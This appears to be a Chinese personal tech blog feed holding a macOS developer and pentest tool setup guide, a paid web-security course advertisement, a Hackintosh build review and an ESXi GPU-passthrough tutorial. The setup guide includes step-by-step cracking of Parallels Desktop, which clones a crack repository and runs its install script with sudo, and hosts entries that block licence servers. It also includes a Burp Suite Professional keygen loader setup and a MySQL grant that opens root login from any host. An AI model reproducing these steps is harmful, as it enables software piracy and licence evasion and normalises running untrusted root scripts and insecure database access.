# 查看 M有SQL 服务状态➜ brew services info mysql@5.7➜ mysql.server status# 启动 MySQL 服务➜ brew services start mysql@5.7➜ mysql.server start# 重启 MySQL 服务➜ brew services restart mysql@5.7➜ mysql.server restart# 停止 MySQL 服务➜ brew services stop mysql@5.7➜ mysql.server stop
接着初始化 MySQL 设置,主要配置一下 root 密码已经是否远程登录登,根据提示来操作就行了:
mysql_secure_installation
数据库外连,这是个可选操作 根据自己的实际情况自行决定是否开启(有被攻击的风险):
mysql > grant all on *.* to root@'%' identified by '你设置的密码' with grant option;mysql > flush privileges;
大家根据实际情况来决定是否开启外连。
# 安装 redis➜ brew install redis# 查看 redis 服务状态➜ brew services info redis# 启动 redis 服务端➜ brew services start redis# 启动 redis 客户端➜ redis-cli# 编辑默认配置文件➜ sudo vim /opt/homebrew/etc/redis.conf
终端命令行下代理神器,可以让指定的命令走设置好的代理,内网渗透、XX 上网必备工具:
# 安装➜ brew install proxychains-ng# 配置文件➜ vim /opt/homebrew/etc/proxychains.conf
将结尾的 socks4 127.0.0.1 9095
改为我们自己的代理端口即可。
下面是常用的几个命令:
# 代理终端基本示例➜ proxychains4 curl https://www.google.com.hk# 全局代理 bash shell➜ proxychains4 -q /bin/bash# 全局代理 zsh shell➜ proxychains4 -q /bin/zsh
如果发现你的 proxychains 并不能代理的话,尝试关掉 SIP 后再试试看。
Gitbook 确实是一个写文档的神器,国光之前是必装的,目前逐步使用 mkdocs 来替代 Gitbook,不过还是要记录一下 Gitbook 的使用,安装还是有坑的:就是使用高版本的 Node.js 安装会出各种玄学问题,换 10.X 的版本即可:
# 安装并切换老版本的 Node.js➜ nvm install v10.24.1➜ nvm use v10.24.1# 安装苹果官方的 rosetta 兼容性工具/usr/sbin/softwareupdate --install-rosetta --agree-to-license# 安装 Gitbook-cli➜ npm install -g gitbook-cli# 验证版本并安装相关依赖➜ gitbook -VCLI version: 2.3.2GitBook version: 3.2.3
MkDoc 是有一个优雅的写文档神器,使用 Python 安装很方便:
# pyenv 切换合适的版本➜ pyenv local 3.9.17# 安装 mkdocs➜ pip install mkdocs# 安装 material 主题➜ pip install mkdocs-material
快速简约强大的博客框架:
# 安装 hexo➜ brew install hexo# Hexo 基础命令➜ hexo clean # 清除缓存➜ hexo g # 生成静态文件➜ hexo s # 启动 Hexo 服务
# 使用 brew cask 可以很快的安装好 Docker 官方客户端➜ brew install --cask docker# 跑个 Kali Linux 看看➜ docker pull docker.io/kalilinux/kali-rolling➜ docker run --name "KaliLinux" --tty --interactive kalilinux/kali-rolling
OrbStack 是一种在 macOS 上运行 Docker 容器和 Linux 机器的快速、轻便且简单的方法。可以将其视为强大的 WSL 和 Docker Desktop 替代方案,全部集成在一个易于使用的应用程序中。
# Homebrew Cask 安装更优雅一点➜ brew install orbstack# docker 切换 OrbStack➜ docker context use orbstack
Docker 的一些镜像国内拉取很慢,我们可以配置一下一些国内的加速源:
{ "ipv6": true, "registry-mirrors": [ "http://hub-mirror.c.163.com", "https://registry.docker-cn.com", "https://mirror.baidubce.com", "https://kn77wnbv.mirror.aliyuncs.com", "https://y0qd3iq.mirror.aliyuncs.com", "https://6kx4zyno.mirror.aliyuncs.com", "https://0dj0t5fb.mirror.aliyuncs.com", "https://docker.nju.edu.cn", "https://kuamavit.mirror.aliyuncs.com", "https://y0qd3iq.mirror.aliyuncs.com", "https://docker.mirrors.ustc.edu.cn" ]}
速度果然确快了很多:
Parallels Desktop for mac Crack 18.1.1.53328 破解项目:https://git.icrack.day/somebasj/ParallelsDesktopCrack.git
根据教程下载指定版本的 PD:https://download.parallels.com/desktop/v18/18.1.1-53328/ParallelsDesktop-18.1.1-53328.dmg
正常安装好,先不要登录 PD 账号。接着克隆项目并运行自动化破解脚本:
# 克隆项目地址➜ git clone https://git.icrack.day/somebasj/ParallelsDesktopCrack.git# 进项目文件夹并运行脚本cd ParallelsDesktopCrack && chmod +x ./install.sh && sudo ./install.sh
破解过程还是很顺利的,Parallels Desktop 18 确实 YYDS:
我们需要屏蔽以下的 Hosts:
127.0.0.1 download.parallels.com127.0.0.1 update.parallels.com127.0.0.1 desktop.parallels.com127.0.0.1 download.parallels.com.cdn.cloudflare.net127.0.0.1 update.parallels.com.cdn.cloudflare.net127.0.0.1 desktop.parallels.com.cdn.cloudflare.net127.0.0.1 www.parallels.cn127.0.0.1 www.parallels.com127.0.0.1 www.parallels.de127.0.0.1 www.parallels.es127.0.0.1 www.parallels.fr127.0.0.1 www.parallels.nl127.0.0.1 www.parallels.pt127.0.0.1 www.parallels.ru127.0.0.1 www.parallelskorea.com127.0.0.1 reportus.parallels.com127.0.0.1 parallels.cn127.0.0.1 parallels.com127.0.0.1 parallels.de127.0.0.1 parallels.es127.0.0.1 parallels.fr127.0.0.1 parallels.nl127.0.0.1 parallels.pt127.0.0.1 parallels.ru127.0.0.1 parallelskorea.com127.0.0.1 pax-manager.myparallels.com127.0.0.1 myparallels.com127.0.0.1 my.parallels.com
但是 Parallels Desktop 会很猥琐的去偷偷取消注释我们的 hosts 文件,所以我们一上来就安利的 Little Snitch 就很优雅,很有必要了。
最后发现 M1 下的 PD 虚拟机 120Hz 的 Windows 体验确实很丝滑:
# tree 命令列文件也很方便➜ brew install tree# 查看系统状态信息➜ brew install neofetch➜ brew install fastfetch
# ip 命令 查看ip地址很方便➜ brew install iproute2mac# frps 与 frpc 穿透神器➜ brew install frps # 配置文件 frps -c /opt/homebrew/etc/frp/frps.ini➜ brew install frpc # 配置文件 frpc -c /opt/homebrew/etc/frp/frpc.ini
# 图片压缩使用开源的 imageoptim 很方便➜ brew install imagemagick# you-get 数码下载神器➜ brew install ffmpeg➜ brew install you-get# 复制克隆离线镜像网站➜ brew install httrack
# 安装 nmap 与自带的 ncat 命令brew install nmap# 安装扫描速度更快的 masscanbrew install masscan# 使用 ARP 协议来发现本地网络上的 IPv4 主机并指纹识别➜ brew install arp-scan➜ arp-scan --localnetInterface: en0, type: EN10MB, MAC: c8:89:f3:b3:24:1d, IPv4: 10.1.1.180Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)10.1.1.100:0c:29:7c:19:2fVMware, Inc.10.1.1.10a0:36:9f:89:ad:30Intel Corporate10.1.1.1100:0c:29:b1:fa:11VMware, Inc.10.1.1.10000:11:32:fa:6e:7cSynology Incorporated10.1.1.218a8:a1:59:9f:57:aaASRock Incorporation10.1.1.128ec:4d:3e:86:cb:2eBeijing Xiaomi Mobile Software Co., Ltd10.1.1.19978:11:dc:7d:d5:9aXIAOMI Electronics,CO.,LTD# go 编写的快速高效的端口扫描工具➜ brew install naabu
# 快速被动子域枚举工具➜ brew install subfinder# 新生代子域名检测工具➜ brew install findomain
# 基本上 sqlmap 足够了brew install sqlmap
# 基本上 dirsearch 足够使用了pip3 install dirsearch
# binwalk CTF MISC 神器brew install binwalk# EXIF 元数据信息查看brew install exiftool
# brew 安装➜ brew install --cask android-platform-tools
# 密码破解神器➜ brew install hashcat# 经典老牌的 UNIX 密码破解工具➜ brew install john# WiFi 无线安全必备➜ brew install aircrack-ng
下载最新版本的安装包:https://osx.metasploit.com/metasploitframework-latest.pkg
安装很简单,双击 metasploitframework-latest.pkg 安装包,一步步往下安装就可以了,macOS 下手动升级 Metasploit 版本国光这里建议也这样升级,比较方便省心。
macOS 下 Metasploit 的可执行文件的位置为:/opt/metasploit-framework/bin
,所以我们需要收到配置一下环境变量:
echo 'export PATH="$PATH:/opt/metasploit-framework/bin/"' >> ~/.zshrc
接着新开个终端即可正常识别到 msf 系列的命令了:
➜ ~ msfconsole ** Welcome to Metasploit Framework Initial Setup ** Please answer a few questions to get started.# 输入 y 确定初始化一个新的数据库Would you like to use and setup a new database (recommended)? y# 认证信息保存在这里,我们了解一下就行Writing client authentication configuration file /Users/security/.msf4/db/pg_hba.conf
首先官网下载截止目前(2023 年 07 月 09 日)最新的稳定版 2023.06.2:
先正常安装打开的话是提示需要激活的,我们关掉 BP 先不管它。使用之前的 TrojanAZhen/BurpSuitePro-2.1 注册机并不能正常工作了,这是因为从 2022.9 开始提示 BP 官方换了注册机制,所以我们得使用新的注册机才可以。
新版注册机的地址为:h3110w0r1d-y/BurpLoaderKeygen
下载下来,将其放入到 BP Jar 包的同级目录下:
首先先带着注册机运行一下 BP:
cd /Applications/Burp\ Suite\ Professional.app/Contents/Resources/app && "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" "--add-opens=java.desktop/javax.swing=ALL-UNNAMED" "--add-opens=java.base/java.lang=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED" "-javaagent:BurpLoaderKeygen.jar" "-jar" "/Applications/Burp Suite Professional.app/Contents/Resources/app/burpsuite_pro.jar"
提示需要激活,先放这儿:
另开一个终端,运行注册机:
/Applications/Burp\ Suite\ Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java -jar /Applications/Burp\ Suite\ Professional.app/Contents/Resources/app/BurpLoaderKeygen.jar
像之前一样,常规走一下注册流程即可:
但是不能每次启动都需要借助这两串命令行吧,这也太不优雅了,所以需要我们编辑 vmoptions.txt 文件,直接将之前的参数追加到 vmoptions.txt 后面:
echo "--add-opens=java.desktop/javax.swing=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "--add-opens=java.base/java.lang=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "-javaagent:BurpLoaderKeygen.jar" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "-Xmx2048m" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txt
效果如下:
之后直接在应用程序里面启动 BP 就可以了,和官方正版使用毫无差别,优雅永不过时~
使用 Docker 搭建 Acunetix Web Vulnerability Scanner(AWVS)扫描器的很方便的, 我的 M1 Macbook 测试也可以跑 x86 的 Dokcer 容器:
# 拉取 awvs 镜像docker pull secfa/docker-awvs# 将 容器的 3443 端口映射到 13443 端口docker run -d --name "AWVS" -p 13443:3443 --cap-add LINUX_IMMUTABLE secfa/docker-awvs
搭建完成后访问:https://YOUR_IP:13443/ 即可
默认的用户名为:admin@admin.com 密码为:Admin123
Tenable Nessus® Essentials 是一款免费漏洞扫描程序,可作为漏洞评估的绝佳切入点。可获得无异于 Nessus Professional 订阅用户所享的强大扫描程序,支持扫描 16 个 IP 也足够我们个人使用了。
简而言之就是 Essentials 是 适用于教育工作者、学生以及网络安全领域的入门从业人员,功能和 Nessus Professional 没区别,只是批量扫描的 IP 变少了。
首先我们得使用企业域名注册获取激活码,注册地址:https://zh-cn.tenable.com/products/nessus/nessus-essentials
小 Tips:国内的 qq 和 163、gmail 这类大众域名多半是不行的,我这里使用的是 com 域名绑定的 QQ 邮箱注册的,这样很容易获取到激活码。
有激活码的话,Docker 搭建 Nessus 就简单很多了。
拉取镜像创建docker pull tenableofficial/nessus创建容器映射到宿主机的 8834 端口docker run -d --name "Nessus" -p 18834:8834 -e ACTIVATION_CODE=<你的激活码> -e USERNAME=<自定义用户名> -e PASSWORD=<自定义密码> tenableofficial/nessus
搭建完成后访问:https://YOUR_IP:18834/ 即可:
访问出现没有出现 Nessus 界面?(移动网络可能会初始化识别,建议电信或者企业专线网络,或者挂代理或者软路由)
docker exec -it Nessus bashcd /opt/scripts./configure_scanner.py # 重新初始化操作
搭建好看了,看了可以看到我们的免费激活码支持做多 16 台设备,且插件都可以保持更新到最新版本,且激活码有效期有好几年呢,足够我们日常使用了:
Google 新开源的漏洞扫描器,主要使用了 OSV-Scanner 来查找项目依赖漏洞。
漏洞来源全球各大漏洞库:
支持扫描自以下项目的漏洞:AlmaLinux、Alpine、Android、crates.io、Debian GNU/Linux、GitHub Actions、Go、Hex、Linux kernel、Maven、npm、NuGet、OSS-Fuzz、Packagist、Pub、PyPI、Rocky Linux、RubyGems……
使用细节大家可以参考官方文档:https://google.github.io/osv-scanner/usage/
国光这里只做简单的的使用:
osv-scanner -r /path/to/your/dir
]]>
其实一直有人问我职业规划或者想了解加入网络网络安全行业。其实作为安全从业者,基本的信息收集和自学能力才是最基础的,这样才可以走的更远与时俱进。但是存在各种因素,可能是自制能力不够、也可能是没有时间、也可能是没有遇到合适的资料等原因,导致大家比较难入门 Web 安全,为了帮助那些想了解加入 Web 安全行业或者想要深度学习 Web 安全的兄弟们,国光我打算继续知识付费一下之前收费 2000多块钱的培训视频录屏和配套靶场,这是一个只专注做 Web 安全渗透的培训。
课程总共 27 节课程,每个课程平均 2 小时,总时长 45 小时左右。并配套 Docker 编写的 100+ 个实战靶场,带你循序渐进的从基础到进阶:
完整的培训大纲目录可以参考这个图片:https://image.3001.net/images/20230621/16873369783445.jpg
国光我是软件专业的, 15 年跨专业自学入门安全以来,算安全经历也接近 8 年了。
从最基础的等级保护到安全服务、再到安全开发、安全培训、安全研究,工作经历从开始不知名低调的小厂,到后面的一线安全厂商:长亭科技、赛宁网安、安恒信息、绿盟科技等。
后面也到了字节跳动互联网从事安全,所在的无恒实验室也算是字节的核心安全部门,现在在江苏银行甲方做安全运营与内部赋能相关。
个人感觉经历还是比较丰富的了。感兴趣的网友可以在这里看到我更详细的工作经历:个人简历 | 国光 更多的就不展开了。总之国光我从事安全以来更多的是兴趣使然驱使,虽然在行业内的技术算不上第一梯队,但是也是一点点坚持下来的,在行业内也算小有一点名气吧,目前就这个网站国光博客的访问量已经 200多万次了,每日访客数量都几千,这也算一点点实力的证明吧。
国光我毕竟专门做过讲师的,课程内容注重系统调理,真正从用户角度出发,下面是其他方面的一些课程,也算是这种能力的证明吧:
课程相关的信息都放在了交流社区里面了,新用户注册即送 10G币,然后可以试看社区里面公开的一些课程,具体关注社区的「知识付费」板块:知识付费 - Web 安全交流圈
Web 安全从零开始之 第11节 文件包含漏洞(免费试看 干货满满)
https://web.sqlsec.com/thread/66
课程配套的靶场地址:国光的文件包含漏洞系列靶场实战(含靶场链接和配套WP)
https://web.sqlsec.com/thread/82
课程原价是 2888元,现在定价 999! 元,两人同报名立减 100!
早鸟价格:888 元!
支持微信、支付宝、银行卡转账,支持分期付款!
同时也赠送配套 Web 安全圈社区论坛 G币 999 个,可在论坛社区里消费,提问等
扫下方微信联系客服咨询详情:
]]>
上一次写这种文章还是在两年前,如今物是人非事事休,欲语泪先流。之前陪伴我比较久的 i7-10700 台式机早已出掉回血换了个锻炼身体骑行的 IMPALA X CAMP 公路车,每天上下班骑行 40多 km 确实很健康,但是夏天到了我的 Intel Macbook Pro 16 也越来越热没法干活了~ 不行,还是得整一个性能强悍的台式机才行!顺便满足一点点游戏需求……
之前的 i7-10700 台式机卖了:
换了辆 CAMP IMPALA X 105版公路车,每天确实充实了很多,上下班来回骑行 40多 KM,如今身体素质明显强于之前,睡觉也更香了,总的来说还是很值的:
2023 年还是比较适合装机的,主要有如下几个原因:
但是对黑苹果来说依然前途一片迷茫,主要有如下几个原因:
话不多说,我们直接来看下本次装机的配置清单吧,包括三个显示器的价格总价是 ¥9990
配置 | 型号 | 参考价格(元) |
---|---|---|
CPU | i5-13600K 盒装 | ¥1948 |
主板 | 华擎 AsRock Z690 Steel Legend 钢铁传奇 WiFi 6E | ¥950 |
内存 | 金百达 黑爵 DDR4 3600Mhz 16GB * 2 条 | ¥300 |
显卡 | RTX 2080Ti 11GB + RX 570 8GB + Intel UHD 770 | ¥2139 |
SSD | 爱国者 P7000Z PCie4.0 2TB | ¥489 |
电源 | 海盗船 RX850X 额定 850W | ¥350 |
散热 | 利民冰封幻境 240 水冷 | ¥170 |
机箱 | 爱国者 T16 ATX大机箱 | ¥119 |
网卡 | BCM94360CD 四天线版本 | ¥150 |
显示器1 | 不知名品牌但是面板不错的杂牌 28寸 4k 152Hz 显示器 | ¥1999 |
显示器2 | 不知名品牌但是面板不错的杂牌 27寸 4k 60Hz 显示器 | ¥780 |
显示器3 | LG 16寸 4K 3840x2400 16比10 便携显示器 | ¥599 |
整体来说还是一个性价比较高而且比较能打,真正可以干活当做生产力的配置。
说到性价比肯定会有人反问:就这配置还性价比?你让 i5-12400 情何以堪?
我:emmmm,确实,要是真正追求性价比的话,其实 12 代 i3 + H610 主板然后再搞个 RX580 矿卡的话,整体预算确实可以下降很多,而且也可以比较完美的黑苹果。但是这样整机的上限就很低了,扩展性和性能都没法这个 13600K + Z690 的搭配相比。
当然性价比只是相对的,就看和什么配置去比较了,下面是国光我认为这套配置性价比,比较高的地方:
只黑苹果的话「华擎 AsRock Z690 Steel Legend 钢铁传奇」主板 BISO 主要调整如下:
最终 Windows 下的测试成绩:
单核已经超过了 i9-12900K,多核也是五五开的水平:
如果超频 CPU 的话,根据我的 CPU 体制,主要 BIOS 调整如下(风扇全部调整为性能模式):
如果超频内存的话,根据我的金百达黑爵 16GB x 2 3600Mhz 18-22-22-44 1.35V 内存体制,这里不再啰嗦内存超频细节了,反正也比较简单就是设置好时序,频率以及内存电压即可,最终我的内存成绩为:
DDR4 4000MHz 1.38V C18-21-21-42 延迟 57.7NS
默频成绩直接不展示了,下面直接放一些国光我日常超频的测试数据。
使用最新的 Windows 11 进行测试,没办法不想用 Windows 11 的,但谁叫 Windows 10 对大小核调度不友好呢!
话不多说,先跑个娱乐大师吧,整机跑分 214 万分:
感觉 CPU 电压加一下,再小超一下 CPU 跑个 100 万分应该是没啥问题的,另外图上的内存忘记超了,稍微拖了点后腿。
使用 Geekbench6 进行测试,单核:2982 多核:14973
使用截止目前最新的 macOS 13.4 版本进行性能测试,分别使用了 Geekbench5 和 Geekbench6 进行跑分测试。
Geekbench5 单核:2243 多核:15662
Geekbench6 单核:2896 多核:13880
CINEBENCG R23 CPU 单核:25055 分,多核 2055 分:
和 Windows 下相比基本上是没损耗的,大小核都完全利用了起来。
RX 570 8GB 涡轮卡在 Geekbench5 下跑分 45794 分,Geekbench6 下跑分 53074 分:
对我搞 IT 的来说,这个 RX 570 有点性能过剩了,写代码、看视频、轻度剪辑哪需要这么强的显卡呀!
虽然官方的 MacPro 7,1 机型还没搭配过 PCIe 4.0 的硬盘,但并不妨碍我们的黑苹果主机跑满了 PCIe 4.0 硬盘的极速:
截止本文发布的时间,使用最新的 OpenCore 0.9.2 引导,安装了最新的 macOS Ventura 13.4 系统:
整机的体验还是非常丝滑顺畅的(虽然之前的 i7-10700 主机也很丝滑……)
CPU 的频率变频正常,超到 5.8Ghz 看着确实挺爽的:
满载运行,发现大小核均正常工作,20 个核心全部跑满:
虽然 13 代的核显无法被驱动,但是使用了 Mac Pro 7,1 工作站机型,有独显的话解码还都可以正常工作的:
使用 OC 自定义了内存数据,这样 Mac Pro 7,1 机型不会产生内存告警,而且看上去也很爽:
通过 @乌龙蜜桃来一打 分享 macOS 13 USB 解锁补丁) ,也可以定制超过 15 个端口数量的 USB 接口:
<dict> <key>Arch</key> <string>Any</string> <key>Base</key> <string></string> <key>Comment</key> <string>USB All Port</string> <key>Count</key> <integer>0</integer> <key>Enabled</key> <true/> <key>Find</key> <data>QYPlD0HT5UQJ6w==</data> <key>Identifier</key> <string>com.apple.iokit.IOUSBHostFamily</string> <key>Limit</key> <integer>0</integer> <key>Mask</key> <data></data> <key>MaxKernel</key> <string></string> <key>MinKernel</key> <string>22.0.0</string> <key>Replace</key> <data>QYPlP0HT5UQJ6w==</data> <key>ReplaceMask</key> <data></data> <key>Skip</key> <integer>0</integer></dict>
声卡工作比较完美,支持前置音频接口自动识别为耳机:
目前板载的 2.5G 有线网卡,使用 LucyRTL8125Ethernet.kext
驱动,基本上跑满了,测试和 Windows 下数据一样:
94360CD 网卡的 WiFi 速率正常,无线和蓝牙都是免驱正常驱的,隔空投送正常使用:
鼠标可以正常操作附近的 MacBook 或者 iPad:
且正常无线镜像或者扩展 MacBook 的显示器是没问题的:
CPU、GPU、风扇转速以及硬盘温度等传感器均正常工作:
支持完美的深度睡眠,且 WOL 网络唤醒正常工作,测试了一下,睡眠的时候整机功耗只有 2W:
iCloud 登录正常,AppStore 体验丝滑:
短信和接力正常工作:
写这篇文章的同时,也单独在 B 站投稿了视频,主要说明了本次配置的驱动效果情况:
https://www.bilibili.com/video/BV1H8411Z7AJ/
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 | 支付宝 |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
]]>本文理论上是全球首发了,因为谷歌确实没有搜索到有人 ESXi 黑苹果直通 A 卡成功的案例,而且也没有看到有人使用 OpenCore 来引导 ESXi 虚拟的。大多数都是 N 卡直通黑苹果成功的,但是 N 卡从 macOS 10.14 系统开始基本上就是残废的状态,所以本文直通 A 卡成功以及使用 OC 引导虚拟机的姿势对全球黑苹果和虚拟化玩家来说还是有一定意义的,理论上来说 ESXi 7.X 和 6.X 也是可以成功的,这个得需要网友们自己去尝试看看了。
首先得先感谢一下 @darkless 好友的经验,让我在 ESXi 黑苹果直通这少走了很多弯路。
最近恰好 PVE 下黑苹果直通出了点小问题,那么乘此机会来尝试一下Vmware ESXi 8 看看。
ESXi 8.X 的安装镜像
macOS 的安装镜像
免驱的 AMD 独显 1 个:RX 4X0、RX 5X0、RX 5X00、RX 6X00 等
主板 BIOS 建议开启如下设置:
首先使用 Windows 下经典的 Rufus 制作一下 ESXi 启动盘
然后 ESXi 没啥可说的,谷歌一下,你就知道,本文重点的 ESXi 下的黑苹果,不能主次颠倒了。
很快啊,就安装好了,ESXi 8 的登录界面变了不少,符合现在的审美:
里面的界面布局感觉是没啥变化的:
我们玩黑苹果的基本上都是搞的 dmg 镜像,自行转换成 img 镜像后上传到 ESXi 的存储空间里面去:
因为目前 esxi unlocker 项目还不完全支持 ESXi 8,所以这里虚拟机的兼容性设置成 ESXi 7.0 U2:
macOS 版本选择 macOS 12,时间上我们使用 macOS 12 安装 macOS 13 Ventura 也是完全 OK 的。
硬件这里设置 8 核 16GB,为了方便后面直接直通显卡,我们这里需要勾选一下「预留所有客户机内存」选项:
为了更好的网络性能,网卡设置成 VMXNET3 万兆类型,然后手动选择我们之前上传好的 iso 镜像文件:
macOS 系统安装对于玩过黑苹果的用户来说很简单了,如果你没有黑苹果基础的话,关于 macOS 安装部分可以参考我的黑苹果专题文章:黑苹果系统安装 - 国光的 PVE 环境搭建教程
ESXi 方便就方便在还可以使用 Vmware Workstation 连接管理:
很快我们系统就安装好了:
刚刚安装好的话,显存只有 3MB,虽然后面我们会直通独显,但是安装一下 Vmware Tools 总比没有安装的好。我们如果手动安装 Vmware Tools 的话,多半还是会提示我们:
我们去官方下载页面下载一个 darwin.iso 即可:
没有 VMware 账号的话可下载国光我上传到蓝奏云的链接
手动安装一下,根据提示引导一个个允许扩展即可:
安装好之后显存就是 128MB 了,而且 Vmware Workstation 去连接的话也会自适应窗口调整分辨率的大小:
首先在「管理」-「硬件」-「PCI 设备」-「搜索 USB」将我们的 USB Controller 切换直通,使其处在活动状态:
这样我们可以简单一点,以直通 PCI 的形式,直接将 USB 控制器添加到 VM 虚拟机中:
这种确实是简单高效的,仔细想一下,我们需要直通 USB 的 VM 没有这么多,最多也就是 Windows 打游戏和 macOS 黑苹果办公,恰好我这边正好有两个 USB Controller,每个 VM 占用一个也是个很不错的方案。
其实通过上述一番操作之后,虚拟机系统也可以来识别一些 USB 设备信息,我们选择添加 USB 设备即可直通:
但是这些设备并不是很齐全,比如这里就确实了键盘和鼠标的 USB 信息。
首先 ESXi 开启服务模式,SSH 进入 ESXi 的 shell 环境,使用
lsusb
查看列出目前 ESXi 宿主机的 USB 设备信息:
将上述需要直通的 USB 信息整理出下面的表格:
厂商 ID | 设备 ID | 设备说明 |
---|---|---|
0d8c | 0014 | USB 音频设备 |
08bb | 2902 | USB 音频设备 |
0f39 | 0611 | IKBC Poker 键盘 |
046d | c08b | 罗技 G502 鼠标 |
以 usb.quirks.device<编号> = "0x<厂商ID>:0x<设备ID> allow"
的格式,添加到 /etc/vmware/config 文件后面
vi /etc/vmware/config
根据我的情况文件末尾添加如下内容:
usb.quirks.device0 = "0x0d8c:0x0014 allow"usb.quirks.device1 = "0x08bb:0x2902 allow"usb.quirks.device2 = "0x0f39:0x0611 allow"usb.quirks.device3 = "0x046d:0xc08b allow"
继续编辑 /bootbank/boot.cfg 启动引导文件,禁用掉VMkernel对上述设备获取控制权。:
vi /bootbank/boot.cfg
在 kernelopt
参数后面添加如下格式:
CONFIG./USB/quirks=0x<厂商ID>:0x<设备ID>::0xffff:UQ_KBD_IGNORE:0x<厂商ID>:0x<设备ID>::0xffff:UQ_KBD_IGNORE
最终国光我编辑的内容如下:
CONFIG./USB/quirks=0x0d8c:0x0014::0xffff:UQ_KBD_IGNORE:0x08bb:0x2902::0xffff:UQ_KBD_IGNORE:0x0f39:0x0611::0xffff:UQ_KBD_IGNORE:0x046d:0xc08b::0xffff:UQ_KBD_IGNORE
操作完成后,重启 ESXi 宿主机,然后我们就可以通过编辑虚拟机设置来灵活地添加 USB 键鼠设备了:
直通后我们就可以使用键盘和鼠标操作我们的黑苹果虚拟机了,进系统也发现可以正常识别了我们的 USB 设备:
因为 WiFi 无线网卡本身是走 PCIe 接口传输数据的,所以这里直通就很简单了,切换网口的直通状态,然后直通对应的 PCI 设备即可:
因为直通了免驱无线网卡的 WiFi 和蓝牙,所以理所应当的我们可以正常使用 macOS 原生的隔空投送和接力功能:
下面说到重头戏了,就是直通 AMD 免驱独显,本次使用的 RX 570 公版涡轮显卡来进行演示,实际上好友 darkless 他使用的是 RX 6600 也是成功直通使用的,而且不像黑苹果物理主机一下需要添加防黑苹果参数,这一点还是有点小意外的,话不多说,开始正式教程。
直通一下显卡相关的设备,一般就是显卡本身以及 HDMI 音频,部分带 Type-C 的显卡可能还需直通一下 Type-C 部分:
显示器黑屏没有反应,但是系统报告信息里面已经识别到了 A 卡了,可惜就是无法驱动:
可以看到上一步我们的操作 AMD 的独显肯定是直通成功了的,否则也不会在系统报告里面看到我们的独显了,但是理论上我们的 A 卡肯定都是免驱的,那么这是为什么呢?
不铺垫了,直接在虚拟机的高级选项里面添加如下两个变量即可:
参数 | 参数值 |
---|---|
pciPassthru0.opromEnabled | TRUE |
pciPassthru0.filename | 显卡 ROM 的路径 |
其中 0
指的是直通独显的 PCie 位置索引,懂编程的都明白,计算机的索引都是从 0
开始,所以这里写 0
以上一番操作过后,顺利的话大概率是成功的,下面是直通的一些 Tips 具体还得大家自己去实践总结:
svga.present
参数改为 FALSE,即可关闭内置的虚拟显示器无论是自己尝试,还是知识付费尝试都需要经历一番操作的,无非是知识付费走的弯路要少一点,但还是需要人力成本去解决问题,最终我们的 ESXi 成功直通了 AMD 显卡以及免驱的 BCM 博通无线网卡,以及直通了 USB 任意设备,最终我们的 ESXi 黑苹果基本上完美了,其实也足够单刃生产力工具了!!!
系统只是工具,我们要学会使用系统去创造价值,而不是沉迷如何安装系统上,这句话也送给大家。
最后来看看我们这个 ESXi 的直通效果怎么样吧:
Vmware7,1 机型,系统报告里面可以明显看出这是一个虚拟机:
AMD RX 570 驱动正常,DP 接口正常带动 4K 120Hz 屏幕,且 HiDPi 原生识别正常:
ESXi 下使用网络类型默认 macOS 下免驱,这 10G 网卡可以妥妥的万兆网卡速率哦:
ESXi 下的虚拟硬盘在 macOS 下识别为 SATA 类型,使用「厚置备,延迟置零」的情况下,手上这个 S500 Pro 1TB 速度测试都挺正常的,和直通的效果差不多:
QQ 也可以正常打开,这一点要单独提一下,PVE 黑苹果使用 Virto 打不开 QQ 和一些软件,只能切换 SATA 类型硬盘使用,但是 4k 读写会变得巨慢,体验不好;ESXi 下黑苹果默认就是 SATA 硬盘,所以软件没遇到啥兼容性问题,且读写速度和真实的硬盘速度差不多,没啥损耗。
无线和蓝牙均正常使用:
隔空投送正常发送和接受文件:
三码序列号追求完美的话需要想办法重新定制一下,导致 VDA 解码失败,这里挖个坑,国光我后面会填的:
这里可以看到基本上设备都正常识别和驱动的:
不过这里 USB 驱动方式可能是 Vmware 自己定制的,Hackintool 虽然识别不到 USB,但是 macOS 系统报告里面可以正常识别:
Sensei 也正常打开使用,我记得 PVE 下好像这块是也有点问题的:
因为这是虚拟机,所以除了显卡,其他是没有传感器的,但是比较有意思的腾讯柠檬居然可以显示这个温度信息,不过这可能是假的信息,一直不会动:
虚拟机下讨论睡眠唤醒的意义好像不大,因为宿主机一直得开机,不过让人惊讶的是,这个 ESXi 黑苹果是支持睡眠唤醒的,晃晃鼠标即可唤醒睡眠状态下的黑苹果虚拟机。
睡眠的瞬间硬盘会读写存放数据,此时 CPU 使用 ESXi 下看可以看到还是以低频工作,不过此时显示器和鼠标都是熄灯的,确实和真的睡眠一样,且可以正常被晃鼠标或者敲键盘唤醒:
通过上述的效果,我们总结几个目前黑苹果不完美的地方和缺点:
